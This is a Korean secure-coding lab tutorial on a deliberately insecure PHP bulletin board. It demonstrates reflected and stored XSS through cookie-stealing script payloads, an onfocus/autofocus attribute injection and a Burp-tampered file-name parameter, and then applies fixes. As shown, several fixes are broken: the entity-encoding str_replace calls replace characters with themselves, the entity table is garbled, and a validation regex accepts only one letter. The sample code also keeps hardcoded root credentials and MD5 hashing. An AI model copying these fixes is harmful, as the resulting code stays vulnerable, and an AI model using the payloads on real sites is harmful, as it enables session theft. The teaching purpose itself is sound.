< mypage.php >
<?
include_once("./common.php");
$db_conn = mysql_conn();
$id = $db_conn->real_escape_string($_GET["id"]);
$gubun = $_POST["gubun"];
if($gubun == "action") {
$name = $db_conn->real_escape_string($_POST["name"]);
$email = $db_conn->real_escape_string($_POST["email"]);
$company = $db_conn->real_escape_string($_POST["company"]);
$password = $_POST["password"];
if(!empty($password)) {
$password = md5($password);
$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
$result = $db_conn->query($query);
} else {
$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
$result = $db_conn->query($query);
}
echo "<script>alert('회원정보 수정완료');</script>";
}
$query = "select * from members where id='{$id}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
?>
$name 에 str_replace를 사용하여 꺽쇠를 다른 문자로 대체한다.
< mypage.php 수정 코드 >
<?
include_once("./common.php");
$db_conn = mysql_conn();
$id = $db_conn->real_escape_string($_GET["id"]);
$gubun = $_POST["gubun"];
if($gubun == "action") {
$name = $db_conn->real_escape_string($_POST["name"]);
$name = str_replace("<", "<", $name);
$name = str_replace(">", ">", $name);
$email = $db_conn->real_escape_string($_POST["email"]);
$company = $db_conn->real_escape_string($_POST["company"]);
$password = $_POST["password"];
if(!empty($password)) {
$password = md5($password);
$query = "update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'";
$result = $db_conn->query($query);
} else {
$query = "update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'";
$result = $db_conn->query($query);
}
echo "<script>alert('회원정보 수정완료');</script>";
}
$query = "select * from members where id='{$id}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
?>
위 소스코드 적용 후 다시 Name 입력값에 스크립트를 삽입하면 세션값을 더 이상 가져오지 않는다.
해커"><script>alert(document.cookie)</script> 입력한다.
이제는 더 이상 꺽쇠를 사용한 XSS 공격이 발생하지 않는다.
크롬 개발자 도구로 확인하니 꺽쇠가 <, >로 치환된것을 확인할 수 있다.
이제 꺽쇠를 사용하는 XSS 공격은 불가능하므로, 꺽쇠가 없는 상태의 XSS을 시도해본다.
더블 쿼터 (") 를 사용할 수 있으면 꺽쇠없이 XSS 공격이 가능하다.
만약 더블 쿼터 (")가 HTML Entity Encoding이 적용되어 다른 문자로 치환된다면 XSS 공격이 어려워진다.
<input type="text" class="form-control" name="name" placeholder="Name Input" value="해커" onfocus="alert(document.cookie)" autofocus="">
XSS는 Javascript 를 실행하기 위한 방법을 사용하면 공격이 가능하다.
onfocus 는 해당 요소(객체)에 포커스(초점) 되었을때 발생한다.
autofocus 는 페이지가 로드될 때 자동으로 포커스(focus)가 <input> 요소로 이동한다.
→ 로그인 페이지 클릭 시 ID 입력란에 자동으로 포커스 가는 것과 같다.
Name 입력란에 포커스가 되면 onfocus가 발생하게 되고, document.cookie 경고창이 출력된다.
Name 입력값에 스크립트를 삽입하면, DB에 설정된 컬럼 길이 초과로 인해 해커 문자열만 확인되는데, 이때 해커를 한 문자로 변경시켜서 다시 시도해본다.
a" onfocus="alert(document.cookie)" autofocus="
스크립트 입력 후 My Page에 접속하면 아래와 같이 세션값이 경고창으로 출력되는 것을 확인할 수 있다.
이렇게 태그에 따라 사용할 수 있는 Javascript 이벤트 핸들러를 통해서 XSS 공격을 시도할 수 있다.
해당 공격의 대응방안은 더블 쿼터 (")를 필터링한다.
7) 대응 방안
대응하기 까다로운 XSS 취약점
SQL Injection은 싱글 쿼터 ' 에 대한 검증, 숫자형은 숫자 자체에 대한 검증을 하면 되고, 파일 업로드 취약점은 확장자 검증을 하면 되며, 파일 다운로드 취약점은 경로 이동 문자(../) 관련해서 필터링하면 된다.
XSS 는 HTML 태그를 사용해야 하는 경우가 있어 대응하기 굉장히 까다롭다. (게시판)
→ 환경에 따라 알맞게 적용해야 한다.
서비스와 보안의 상관 관계
- 보안을 고려하면 서비스 효율이 낮아진다.
- 서비스 효율이 높아지면 보안이 낮아진다.
XSS 공격 유형별로 살펴보는 필수 문자
1번 예시는 <, > 꺽쇠가 사용된다.
2번 예시는 " " 더블 쿼터가 사용된다.
3번 예시는 " " 더블 쿼터 또는 양 옆에 싱글 쿼터를 사용하면, ' ' 싱글 쿼터가 사용된다.
XSS는 각각의 상황별로 대응해야할 문자가 다르다.
입력 값 용도에 따른 대응 프로세스 수립
사용자 입력 값 | 대응 방안 |
숫자 | is_numeric() 함수 사용, 정규 표현식을 통한 입력 값 검증 |
단순 문자(+숫자) | 정규 표현식을 통한 입력 값 검증 a-z,A-Z,0-9 |
문자 + 특수 문자 | 1. 특정 패턴에 대한 정규 표현식 사용하여 입력값 검증 2. 특정 패턴에 없다면(게시글 내용 등) HTML 사용 여부에 따라 보안 라이브러리를 사용하거나 HTML Entity Encoding을 적용한다. - HTML 사용 여부 확인 HTML 사용: 보안 라이브러리 사용(HTML Purifier) HTML 미사용: HTML Entity Encoding 보안 라이브러리 직접 제작하는 경우에는 추가적인 검증이 필요하다. |
대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 숫자
대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 단순 문자(+숫자)
대응 방안(1) : 정규 표현식을 통한 입력 값 검증 - 문자 + 특수 문자
대응 방안(2) : 보안 라이브러리
라이브러리 | 엔티티 |
OWASP ESAPI | JAVA, PHP, ASP.NET... |
LUCY XSS | JAVA |
HTML Purifier | PHP |
AntiXSS | ASP.NET |
HTML Purifier 적용 레퍼런스 URL: https://gist.github.com/kijin/5829736
대응 방안(3) : HTML Entiry Encoding
XSS 를 막기 위한 근본적인 방법, 원래 보안 목적으로 사용하지 않았으며 단순 메타 문자를 출력하기 위해 사용
HTML Entity Code 표
문자 | 엔티티 |
& | & |
< | < |
> | > |
" | " 혹은 " |
' | ' 혹은 ' |
( | ( |
) | ) |
HTML Entity Code 표 참고 URL : https://ascii.cl/htmlcodes.htm
실습5-6 취약 환경 시큐어 코딩 적용 실습
127.0.0.1/insecure_website에 접속 후 임의의 계정으로 로그인 후 My Page에 접속한다.
URL의 page 부분에 mypage 말고 다른 값을 입력해본다.
위와 같이 에러 페이지에 대해 사용자 입력값을 그대로 출력하는 것을 확인할 수 있다.
이를 통해 Reflected XSS 공격이 가능한 것을 알 수 있다.
해당 value 에 XSS 스크립트를 사용하면 아래와 같이 세션값이 에러 메시지로 출력되어 확인된다.
<script>alert(document.cookie)</script> 를 입력한다.
시큐어 코딩을하기 위해 아래 경로에서 error.php 파일을 수정한다.
경로: C:\APM_Setup\htdocs\insecure_website
< error.php >
<?
include_once("./common.php");
$value = $_GET["value"];
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">"<?=$value?>" Page Not Found</h1>
<hr>
</div>
위 코드를 보면 value 값을 받아서 그대로 출력하는 것을 알 수 있다.
→ 웹 페이지에 그대로 출력
웹 사이트 사용 시 페이지 이름에는 특수문자를 사용하지 않는다는 것을 알게 되었다.
Reflected XSS 공격이 발생하기 위한 핵심 조건이 꺽쇠 <, > 를 사용하는 것이다.
페이지 이름에 특수문자를 사용하지 않기 때문에 정규표현식을 사용하여 a-zA-Z 조건을 추가하면 된다.
정규표현식을 사용하여 허용한 문자만 pass 하도록 소스코드를 수정한다.
보안담당자의 경우 해당 웹 페이지 이름이 허용하는 문자열의 범위를 개발자와 협의하여 XSS 가 발생하지 않도록 소스코드를 수정하도록 해야 한다.
< error.php 시큐어 코딩 적용 >
<?
include_once("./common.php");
$value = $_GET["value"];
if(!preg_match("/^[a-zA-Z]$/", $value)){
echo "<script>alert('정상적인 입력 값이 아닙니다.');history.back(-1)</script>";
exit();
}
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">"<?=$value?>" Page Not Found</h1>
<hr>
</div>
정규표현식을 사용하여 a부터 z 까지 문자열만 허용하고, 다른 문자를 입력하면 경고창을 띄우는 코드를 작성하였다.
다시 이전의 에러페이지로 가서 value 부분에 특수문자를 삽입하면 아래와 같이 경고창이 출력된다.
게시판의 action.php (글쓰기, 수정, 삭제를 담당하는 코드) 가 XSS 에 취약하므로 소스코드를 확인해야한다.
Stored XSS 는 일반적으로 게시판에 악성 스크립트를 삽입 후, 해당 악성 스크립트가 DB에 저장되어 있다가 사용자가 게시글을 통해 악성 스크립트를 확인하게 되어 발생하는 공격이다.
Stored XSS 는 DB에 대응방안을 적용할 때 두 가지 방식이 있다.
1. DB에 입력하기 전에 대응방안 적용
2. DB에서 출력할 때 대응방안 적용
1번은 DB에 저장하기 전에 HTML Entity Encoding 을 적용하여 저장하는 방식이다.
2번은 DB에 저장할때는 문자열을 그대로 저장 후, 출력할 때 HTML Entity Encoding을 적용하는 방식이다.
XSS로 부터 안전하기 위해서는 1번 방식을 추천한다.
2번 방식을 사용하는 경우, 출력할 때 HTML Entity Encoding을 적용한다 하더라도 게시판의 최근 게시글 기능에 의해 XSS 공격이 발생되는 경우가 있다. (게시판 목록, 상세보기에서는 XSS 가 발생하지 않지만, 메인 화면의 최근 게시글을 보면 XSS 가 발생함)
2번 방식을 사용하는 경우, 출력되는 포지션이 파악이 되어야 하며, 각 출력 위치마다 대응방안 적용을 일일히 해야한다.
그러므로 아예 DB에 저장하기 전에 HTML Entity Encoding 을 적용하여 안전하게 데이터를 저장하는 것을 추천한다.
action.php 의 insert 와 update 부분에 대해서 대응방안을 적절히 적용해야 한다.
사용자 입력값에 대해 허용할 문자, 특수문자, 숫자 등을 사전에 분류해야 한다.
< action.php 소스코드 >
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8");
include ( './common.php' );
$mode = $_REQUEST["mode"];
$db_conn = mysql_conn();
if($mode == "write") {
$title = $db_conn->real_escape_string($_POST["title"]);
$id = $db_conn->real_escape_string($_SESSION["id"]);
$writer = $db_conn->real_escape_string($_SESSION["name"]);
$password = $db_conn->real_escape_string($_POST["password"]);
$content =$db_conn->real_escape_string($_POST["content"]);
$secret = $_POST["secret"];
$uploadFile = "";
if(empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$uploadFile = $db_conn->real_escape_string($uploadFile);
$content = str_replace("\r\n", "<br>", $content);
$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
$db_conn->query($query);
} else if($mode == "modify") {
$idx = $_POST["idx"];
$title = $db_conn->real_escape_string($_POST["title"]);
$password = $db_conn->real_escape_string($_POST["password"]);
$content = $db_conn->real_escape_string($_POST["content"]);
$secret = $_POST["secret"];
$uploadFile = $_POST["oldfile"];
if(empty($idx) || empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$content = str_replace("\r\n", "<br>", $content);
$uploadFile = $db_conn->real_escape_string($uploadFile);
$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
$db_conn->query($query);
} else if($mode == "delete") {
$idx = $_POST["idx"];
$password = $db_conn->real_escape_string($_POST["password"]);
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
$query = "delete from {$tb_name} where idx={$idx}";
$db_conn->query($query);
}
echo "<script>location.href='index.php';</script>";
$db_conn->close();
?>
위 소스코드를 보면 title(제목), writer(작성자) 에 꺽쇠 <, > 는 사용되지 않기 때문에, 필터링 해도 될 것 같다. (HTML 태그가 사용되지 않을 부분을 확인)
하지만 content(게시글 내용)는 HTML 태그를 사용하는 부분이 상당히 많다. content 에는 보안라이브러리를 적용해본다.
제목, 작성자 등 HTML 태그가 필요없는 부분에는 일괄적으로 HTML Entity Encoding을 적용할 필요가 있다.
각 변수에 일일이 적용하는 것보다는, 함수를 선언해서 일괄로 적용하는 것이 더 효율적이다.
common.php 를 열고 HTML Entity Encoding 함수를 선언해준다.
< common.php >
<?php
header("Content-Type: text/html; charset=UTF-8;");
$tb_name = "insecure_board";
$upload_path = "upload";
function mysql_conn() {
$host = "127.0.0.1";
$id = "root";
$pw = "test";
$db = "pentest";
$db_conn = new mysqli($host, $id, $pw, $db);
return $db_conn;
}
?>
< common.php 에서 xss_html_entity 함수 선언하기 >
<?php
header("Content-Type: text/html; charset=UTF-8;");
$tb_name = "insecure_board";
$upload_path = "upload";
function mysql_conn() {
$host = "127.0.0.1";
$id = "root";
$pw = "test";
$db = "pentest";
$db_conn = new mysqli($host, $id, $pw, $db);
return $db_conn;
}
function xss_html_entity($value) {
$value = str_replace("<", "<", $value);
$value = str_replace(">", ">", $value);
$value = str_replace("\"", """, $value);
return $value;
}
?>
만약 지금 싱글 쿼터 ' 를 굳이 사용하지 않은 상태라면, 싱글 쿼터에 대한 HTML Entity Encoding 은 생략한다.
게시글에 글을 작성 후 출력되는 부분이 무엇인지 생각하면서 action.php 각 변수에 xss_html_entity 함수를 적용해본다.
글 작성 모드에서 title(제목), writer(작성자) 변수에만 먼저 xss_html_entiry 함수를 적용시켜본다.
< action.php 의 write(게시글 작성 모드) 소스코드 HTML Entity Encoding 적용 >
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8");
include ( './common.php' );
$mode = $_REQUEST["mode"];
$db_conn = mysql_conn();
if($mode == "write") {
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$id = $db_conn->real_escape_string($_SESSION["id"]);
$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$content = $db_conn->real_escape_string($_POST["content"]);
$secret = $_POST["secret"];
$uploadFile = "";
if(empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
코드 저장 후 해커 계정으로 로그인 후 악성 스크립트를 제목에 삽입하여 게시글을 작성해본다.
<script>alert(1)</script>
글 작성 후 게시글 목록을 확인하니 다음과 같이 악성 스크립트가 그대로 확인되지만, 경고창을 띄우지 않는다.
웹 페이지의 소스코드를 확인해본다.
꺽쇠가 < 와 > 로 치환된것을 확인할 수 있으며, 그래서 사용자한테는 문자열 그대로 출력된것을 알 수 있다.
게시글 작성 부분은 여러 취약한 부분 중 하나이며, 게시글 수정, 게시글 삭제 등과 같이 다양한 기능에 대해 취약점 존재 유무를 파악하여 각 기능에 맞는 대응 방안을 적용해야 한다.
실제 취약점 진단 시 게시글 작성 부분에 테스트해본 다음, 게시글 수정 부분도 테스트해본다.
게시글 작성 부분은 HTML Entity Encoding이 적용되어 있으나, 수정 부분에는 적용되어 있지 않는 경우도 간혹 존재한다.
action.php 의 modify 부분도 동일하게 적용해준다.
< action.php 의 modify(게시글 수정 모드) 소스코드 HTML Entity Encoding 적용 >
} else if($mode == "modify") {
$idx = $_POST["idx"];
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$content = $db_conn->real_escape_string($_POST["content"]);
$secret = $_POST["secret"];
$uploadFile = $_POST["oldfile"];
if(empty($idx) || empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
title(제목) 부분에 xss_html_entity 함수를 적용해준다.
password(비밀번호)는 굳이 적용해줄 필요는 없다. (사용자에게 출력되는 데이터가 아니기 때문에)
리눅스나 유닉스 환경에서는 파일명에 꺽쇠가 들어갈 수 있다.
파일명에 꺽쇠가 들어가 있으면 게시글 확인 시 파일명이 출력되어 XSS 공격이 가능하다.
그러므로 파일명 변수에도 xss_html_entity 함수를 적용해주는 방법이 있다.
→ DB에 저장할때 안전하게 저장하도록 HTML Entity Encoding을 적용
현재는 윈도우 환경이며, DB에 저장되기 전에 에러가 발생하기 때문에 굳이 적용해준 필요는 없다.
리눅스나 유닉스환경에서는 HTML Entity Encoding 을 적용해준다.
content(게시글 내용) 부분에는 PHP 의 보안 라이브러리(HTML Purifier)를 적용해본다.
HTML Purifier 적용 레퍼런스 URL: https://gist.github.com/kijin/5829736
현재 실습 환경에는 이미 HTML Purifier 가 다운로드 되어 있는 상태이다.
HTML Purifier 레퍼런스 링크에 들어가서 코드를 복사해서 common.php 에 붙여넣는다.
xss_html 이라는 함수를 정의하여 해당 코드를 붙여넣는다.
< common.php 소스코드에 HTML Purifier 보안 라이브러리 코드 적용 >
<?php
header("Content-Type: text/html; charset=UTF-8;");
$tb_name = "insecure_board";
$upload_path = "upload";
function mysql_conn() {
$host = "127.0.0.1";
$id = "root";
$pw = "test";
$db = "pentest";
$db_conn = new mysqli($host, $id, $pw, $db);
return $db_conn;
}
function xss_html_entity($value) {
$value = str_replace("<", "<", $value);
$value = str_replace(">", ">", $value);
$value = str_replace("\"", """, $value);
return $value;
}
function xss_html($value) {
// 웹사이트에서 다운받아 적당한 곳에 압축 푸세요.
require_once('./htmlpurifier/library/HTMLPurifier.auto.php');
// 기본 설정을 불러온 후 적당히 커스터마이징을 해줍니다.
$config = HTMLPurifier_Config::createDefault();
$config->set('Attr.EnableID', false);
$config->set('Attr.DefaultImageAlt', '');
// 인터넷 주소를 자동으로 링크로 바꿔주는 기능
$config->set('AutoFormat.Linkify', true);
// 이미지 크기 제한 해제 (한국에서 많이 쓰는 웹툰이나 짤방과 호환성 유지를 위해)
$config->set('HTML.MaxImgLength', null);
$config->set('CSS.MaxImgLength', null);
// 다른 인코딩 지원 여부는 확인하지 않았습니다. EUC-KR인 경우 iconv로 UTF-8 변환후 사용하시는 게 좋습니다.
$config->set('Core.Encoding', 'UTF-8');
// 필요에 따라 DOCTYPE 바꿔쓰세요.
$config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
// 플래시 삽입 허용
$config->set('HTML.FlashAllowFullScreen', true);
$config->set('HTML.SafeEmbed', true);
$config->set('HTML.SafeIframe', true);
$config->set('HTML.SafeObject', true);
$config->set('Output.FlashCompat', true);
// 최근 많이 사용하는 iframe 동영상 삽입 허용
$config->set('URI.SafeIframeRegexp', '#^(?:https?:)?//(?:'.implode('|', array(
'www\\.youtube(?:-nocookie)?\\.com/',
'maps\\.google\\.com/',
'player\\.vimeo\\.com/video/',
'www\\.microsoft\\.com/showcase/video\\.aspx',
'(?:serviceapi\\.nmv|player\\.music)\\.naver\\.com/',
'(?:api\\.v|flvs|tvpot|videofarm)\\.daum\\.net/',
'v\\.nate\\.com/',
'play\\.mgoon\\.com/',
'channel\\.pandora\\.tv/',
'www\\.tagstory\\.com/',
'play\\.pullbbang\\.com/',
'tv\\.seoul\\.go\\.kr/',
'ucc\\.tlatlago\\.com/',
'vodmall\\.imbc\\.com/',
'www\\.musicshake\\.com/',
'www\\.afreeca\\.com/player/Player\\.swf',
'static\\.plaync\\.co\\.kr/',
'video\\.interest\\.me/',
'player\\.mnet\\.com/',
'sbsplayer\\.sbs\\.co\\.kr/',
'img\\.lifestyler\\.co\\.kr/',
'c\\.brightcove\\.com/',
'www\\.slideshare\\.net/',
)).')#');
// 설정을 저장하고 필터링 라이브러리 초기화
$purifier = new HTMLPurifier($config);
// HTML 필터링 실행
$html = $purifier->purify($value);
return $html;
}
?>
일부 코드는 실습 환경에 맞게 약간의 변경이 필요하다. (경로, value 변수 등)
이후 action.php 의 wrtie(게시글 작성), modify(게시글 수정) 부분의 각 content 변수에 xss_html 함수를 적용해준다.
< action.php 소스코드 xss_html 함수 적용 >
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8");
include ( './common.php' );
$mode = $_REQUEST["mode"];
$db_conn = mysql_conn();
if($mode == "write") {
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$id = $db_conn->real_escape_string($_SESSION["id"]);
$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$content = xss_html($db_conn->real_escape_string($_POST["content"]));
$secret = $_POST["secret"];
$uploadFile = "";
if(empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$uploadFile = $db_conn->real_escape_string($uploadFile);
$content = str_replace("\r\n", "<br>", $content);
$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
$db_conn->query($query);
} else if($mode == "modify") {
$idx = $_POST["idx"];
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$content = xss_html($db_conn->real_escape_string($_POST["content"]));
$secret = $_POST["secret"];
$uploadFile = $_POST["oldfile"];
if(empty($idx) || empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$content = str_replace("\r\n", "<br>", $content);
$uploadFile = $db_conn->real_escape_string($uploadFile);
$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
$db_conn->query($query);
} else if($mode == "delete") {
$idx = $_POST["idx"];
$password = $db_conn->real_escape_string($_POST["password"]);
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
$query = "delete from {$tb_name} where idx={$idx}";
$db_conn->query($query);
}
echo "<script>location.href='index.php';</script>";
$db_conn->close();
?>
소스코드에 xss_html 함수 적용 후, 기존에 악성 스크립트를 작성했던 게시글을 수정해본다.
게시글 수정 후 해당 게시글을 확인하면 악성 스크립트는 실행되지 않았으나 HTML 태그는 사용이 가능한 것을 확인할 수 있다.
웹 페이지의 소스코드를 확인하면 다음과 같이 보안 라이브러리가 적용되어 스크립트가 필터링된 것을 확인할 수 있다.
하지만 게시글 수정(modify)에서 파일명에 악성 스크립트를 삽입하게 되면 그대로 출력하게 되는 취약점이 존재한다.
버프스위트를 켜고 Intercept on 후 게시글 비밀번호를 입력 후, modify 버튼을 클릭한다.
버프스위트에서 oldfile 이라는 파라미터를 확인할 수 있디.
oldfile 은 이전 파일명으로, 값이 존재하면 예전 파일은 그대로 저장하고 새로운 파일이 있으면 새로운 파일명으로 교체하는 파라미터이다.
최초 게시글 작성 시에는 파일명에 꺽쇠가 들어가면 에러가 발생하지만, 게시글 수정 시에는 적용되어있지 않아 XSS 공격에 취약한 부분이다.
oldfile 파라미터에 test 문자열을 삽입해본다.
test 문자열 삽입 후 Intercept Off 후 다시 해당 게시글을 확인하면 다음과 같이 test 문자열이 파일명으로 확인된다.
이를 통해 oldfile 파라미터를 활용하여 파일명에 문자열을 삽입할 수 있음을 알 수 있다.
이번에는 oldfile 파라미터에 test<script>alert(1)</script> 스크립트를 삽입하여 XSS 공격에 취약한지 확인해본다.
스크립트 삽입 후 Intercept Off 후 다시 해당 게시글을 확인하면 다음과 같이 스크립트가 발생하여 경고창이 발생하는 것을 알 수 있다.
실제 취약점 진단 시 이처럼 파일명 관련 파라미터가 취약한 부분이 있을 수 있어 많이 활용된다.
파일명에는 HTML 태그를 사용할 필요가 없으므로, HTML Entity Encoding 을 적용해준다.
action.php 소스코드에서 modify 부분의 oldfile 변수에 xss_html_entity 함수를 적용해준다.
만약 패턴이 있다면 정규표현식으로 필터링해줘도 된다. (확장자만 있고 다른 특수문자는 허용하지 않는)
< action.php 소스코드 oldfile 에 xss_html_entity 함수 적용 >
<?
@session_start();
header("Content-Type: text/html; charset=UTF-8");
include ( './common.php' );
$mode = $_REQUEST["mode"];
$db_conn = mysql_conn();
if($mode == "write") {
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$id = $db_conn->real_escape_string($_SESSION["id"]);
$writer = xss_html_entity($db_conn->real_escape_string($_SESSION["name"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$content = xss_html($db_conn->real_escape_string($_POST["content"]));
$secret = $_POST["secret"];
$uploadFile = "";
if(empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$uploadFile = $db_conn->real_escape_string($uploadFile);
$content = str_replace("\r\n", "<br>", $content);
$query = "insert into {$tb_name}(title, id, writer, password, content, file, secret, regdate) values('{$title}', '{$id}', '{$writer}', '{$password}', '{$content}', '{$uploadFile}', '{$secret}', now())";
$db_conn->query($query);
} else if($mode == "modify") {
$idx = $_POST["idx"];
$title = xss_html_entity($db_conn->real_escape_string($_POST["title"]));
$password = $db_conn->real_escape_string($_POST["password"]);
$content = xss_html($db_conn->real_escape_string($_POST["content"]));
$secret = $_POST["secret"];
$uploadFile = xss_html_entity($_POST["oldfile"]);
if(empty($idx) || empty($title) || empty($password) || empty($content)) {
echo "<script>alert('빈칸이 존재합니다.');history.back(-1);</script>";
exit();
}
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
if(!empty($_FILES["userfile"]["name"])) {
$uploadFile = $_FILES["userfile"]["name"];
$uploadPath = "{$upload_path}/{$uploadFile}";
if(!(@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadPath))) {
echo("<script>alert('파일 업로드를 실패 하셨습니다.');history.back(-1);</script>");
exit;
}
}
if($secret == "on") {
$secret = "y";
} else {
$secret = "n";
}
$content = str_replace("\r\n", "<br>", $content);
$uploadFile = $db_conn->real_escape_string($uploadFile);
$query = "update {$tb_name} set title='{$title}', content='{$content}', file='{$uploadFile}', secret='{$secret}', regdate=now() where idx={$idx}";
$db_conn->query($query);
} else if($mode == "delete") {
$idx = $_POST["idx"];
$password = $db_conn->real_escape_string($_POST["password"]);
if(!is_numeric($idx)) {
echo "<script>alert('숫자 값만 가능합니다.');history.back(-1);</script>";
exit();
}
# Password Check Logic
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
$query = "delete from {$tb_name} where idx={$idx}";
$db_conn->query($query);
}
echo "<script>location.href='index.php';</script>";
$db_conn->close();
?>
기존 oldfile 의 파라미터에 작성된 스크립트는 버프스위트를 활용하여 제거 후 다시 스크립트를 재작성한다.
버프스위트로 oldfile 에 스크립트 삽입 후 해당 게시글 확인 시 아래와 같이 HTML Entity Encoding이 적용되어 그대로 출력되는 것을 확인할 수 있다.
게시글 작성 및 수정 부분에서는 XSS 취약점에 대해 시큐어 코딩을 적용하였다.
